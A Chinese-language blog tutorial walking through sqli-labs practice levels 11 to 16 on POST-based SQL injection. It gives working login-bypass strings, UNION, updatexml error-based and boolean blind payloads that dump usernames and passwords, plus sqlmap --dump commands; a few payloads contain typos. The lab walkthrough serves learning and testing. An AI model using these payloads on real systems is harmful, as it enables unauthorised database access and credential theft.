一篇文章教会POST型SQL注入小白之sqli-labs靶场超详细原理(less-11~less-16:POST注入)

目录

什么是POST型SQL注入

GET型SQL注入

POST型SQL注入

sqli-labs靶场 Less-11(POST_非盲注)

判断闭合方式

万能密码

判断字段数

判断报错回显位置

判断数据库

判断数据表

判断列名

爆出数据

sqlmap工具注入

安装sqlmap

bp抓包

判断数据库

判断数据表

判断列名

爆出表中的数据

sqli-labs靶场 Less-12(POST_非盲注)

判断闭合方式

判断字段数

​编辑判断报错回显位置

判断数据库

判断数据表

判断列名

爆出表的数据

sqli-labs靶场 Less-13(POST_基于报错的盲注--updatexml函数注入)

判断闭合方式

判断字段数

判断报错回显位置

判断数据库(security)

判断数据表

判断列名

爆出数据

sqli-labs靶场 Less-14(POST_基于报错的盲注--updatexml函数注入)

判断闭合方式

判断字段数

判断报错回显位置

updatexml函数判断数据库

判断数据表

判断列名

爆出数据

sqli-labs靶场 Less-15(POST_基于布尔的盲注)

判断闭合方式

判断数据库

判断数据表

一般盲注比较繁琐,方法和GET型 一样,这里我就直接用sqlmap自动注入了,和第11关一样

sqlmap注入

bp抓包

数据库

数据表

​数据列名

​爆出数据

sqli-labs靶场 Less-16(POST_基于布尔盲注)

判断闭合方式

其他的就和第十五关一样啦,只不过是把闭合方式改为"),就不多写了,各位师傅自行试一下哦。

下一篇更新less17~less19,不同注入点的错误注入,

不喜勿喷,如果有错误,希望各师傅来纠正,如有雷同,纯属巧合。

0基础SQL注入小白可以关注我哦~,和我一起自律学习

欢迎关注公众号


什么是POST型SQL注入

GET型SQL注入

  • 使用HTTP的GET请求,数据通过URL传递,通常是通过查询字符串(Query String)来传递。
  • 例如:http://example.com/search?id=1,其中 id=1 是传递给服务器的参数。

POST型SQL注入

  • 使用HTTP的POST请求,数据通过HTTP请求体(Body)传递,而不是在URL中显示。
  • 例如,表单提交时,数据通过POST请求发送,数据通常是隐藏在请求的正文部分。

sqli-labs靶场 Less-11(POST_非盲注)

题目:

POST - Error Based - Single quotes- String
POST -基于错误-单引号-字符串

判断闭合方式

在用户名上输入下面的代码,密码随便写。

SQL 查询中,用户名字段通常用单引号 ' 来围绕(即字符串闭合)。当攻击者输入 ' 时,实际会闭合原来的字符串,打破 SQL 查询的结构。最终的sql语句为:
SELECT * FROM users WHERE username = '' OR 1=1 -- AND password = 'password123';

  • username = '':用户名部分为空字符串。
  • OR 1=1:总是返回真,导致该条件始终成立,查询结果返回所有用户。
  • --:注释掉了密码验证部分,导致查询不再考虑 password = '2'
1\

提交后发现有报错的回显,根据报错位置可知是单引号闭合方式

万能密码

对于这种POST型的sql注入,我们先考虑能不能用万能密码直接通过,万能密码的原理也是破坏了sql语句原有的逻辑,从而使查询恒成立,具体原理可以看我的另一篇文章:万能密码详解

万能密码不是唯一的,只要符合逻辑都可以。

在这里是单引号的注入方式,所以我们构造万能密码为

1' or 1=1#

#注意:这里为什么用#注释,而不用-- ,是因为-- 在这一关没有起到任何注释的作用,所以我们尝试用#注释

发现直接以Dumb的账户成功登录

当万能密码不能用时,我们就老老实实的手动注入或者用sqlmap注入,先讲手动注入

判断字段数

和GET型注入一样,也是用union联合注入判断字段数

1' order by 3#

当是3时报错,当是2时没有报错,说明字段数为2

1' order by 2#

判断报错回显位置

根据报错信息是回显位置为字段1和字段2

1' union 1,2#

判断数据库

1' union select 1,database()#

判断数据表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

判断列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

爆出数据

1' union select 1,(select group_concat(username,':',password) from security.users)#

也可以用sqlmap自动注入工具

sqlmap工具注入

安装sqlmap

安装sqlmap很简单,先到官网https://sqlmap.org/下载压缩包

解压到python的安转路径目录下,在sqlmap的目录下以管理员的身份运行cmd

输入下面的代码安装sqlmap

python sqlmap.py

这样就成功安装了

bp抓包

先用bp抓包,再把POST数据包保存到1.txt文件

判断数据库

有一些选项都选y

python sqlmap.py -r "D:\1.txt" --dbs

成功得到数据库

判断数据表

python sqlmap.py -r "D:\1.txt"  -D security --tables

判断列名

python sqlmap.py -r "D:\1.txt"  -D security -T users --columns

爆出表中的数据

python sqlmap.py -r "D:\1.txt"  -D security -T users -C "username,password" --dump

sqli-labs靶场 Less-12(POST_非盲注)

题目:POST - Error Based - Double quotes- String - with twist
POST -基于错误的-双引号-字符串-扭曲

判断闭合方式

1\

发现页面报错信息如下,所以闭合方式为")

判断字段数

同样发现3的时候报错,2的时候没有报错

1") order by 3#

判断报错回显位置

和第11关一样我就不解释了,只放结果图,可以选择sqlmap会快一点,如果想练习代码,加强熟悉度,可以手动注入,加强理解。

1") union select 1,2#

判断数据库

1") union select 1,databasee()#

判断数据表

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

判断列名

1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

爆出表的数据

1") union select 1,group_concat(username,':',password) from users#

sqli-labs靶场 Less-13(POST_基于报错的盲注--updatexml函数注入)

题目:POST - Double Injection - Single quotes- String - with twist
POST -双注入-单引号-字符串-扭曲

判断闭合方式

也可以根据题目的提示,该闭合方式是')

1\

判断字段数

字段数为2

判断报错回显位置

发现没有回显位置,但是有报错信息,所以和第五关第六关一样,是基于报错的盲注,用updatexml函数,具体解释和用法看我的第二篇SQL注入详说updataxml

判断数据库(security)

1') and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#

判断数据表

1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

判断列名

1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#

爆出数据

1') and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1)#

sqli-labs靶场 Less-14(POST_基于报错的盲注--updatexml函数注入)

题目:POST-双注入-单引号-字符串-扭曲
PosT-Double Injection -Single quotes-String -with twist

判断闭合方式

双引号闭合方式,不知道为什么题目是单引号

1\

判断字段数

同样发现有两个字段

判断报错回显位置

在username输入以下代码,也是  没有回显位置,和13关一样

1" union select 1,2#

updatexml函数判断数据库

和第13关一样就不多写了,直接把结果截图

1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

判断数据表

判断列名

爆出数据

sqli-labs靶场 Less-15(POST_基于布尔的盲注)

题目:盲-布尔/基于时间-单引号
Blind-Boolian/time Based -Single quotes

判断闭合方式

当我们按照平时的方式输入1\时,发现没有报错的信息,和GET型的时间盲注一样,也可以用布尔盲注,时间盲注在我写的另一篇less5-less10关,这里我就用布尔盲注

根据题目的提示,该题目是基于单引号的盲注

判断数据库

当数据库的长度大于7时,页面登录成功,当数据库的长度是大于8时,页面登录失败,所以数据库的长度为8

1' or length(database())>7#

判断数据库的第一个字母,在这里我们用ascii函数判断数据库,大于114是登录成功,大于115时登录失败,所以第一个字母的ascii值为115,即s

1' or ascii(substr(database(),1,1))>114#

以此类推,可得到数据库为security,接着判断数据表

判断数据表

判断数据表的长度,其实做了这么久也发现了,不管是GET型还是POST型,都离不开基本的数据库、数据表、字段等的查询语句。

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

一般盲注比较繁琐,方法和GET型 一样,这里我就直接用sqlmap自动注入了,和第11关一样

sqlmap注入

bp抓包

数据库

python sqlmap.py -r "D:\1.txt" --dbs

数据表

python sqlmap.py -r "D:\1.txt" -D security --tables

数据列名

python sqlmap.py -r "D:\1.txt" -D security -T users --columns

爆出数据

比较慢就不跑完了,各位师傅自行试试

python sqlmap.py -r "D:\1.txt" -D security -T users -C "username,password" --dump

sqli-labs靶场 Less-16(POST_基于布尔盲注)

题目:POST-盲-布尔/基于时间-双引号
bosT-Blind-Boolian/Time Based -Double quote

判断闭合方式

发现只有")时才成功,所以闭合方式是")

1") or 1=1#

其他的就和第十五关一样啦,只不过是把闭合方式改为"),就不多写了,各位师傅自行试一下哦。

下一篇更新less17~less19,不同注入点的错误注入,

不喜勿喷,如果有错误,希望各师傅来纠正,如有雷同,纯属巧合。

0基础SQL注入小白可以关注我哦~,和我一起自律学习

欢迎关注公众号【Cauchy安全】

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值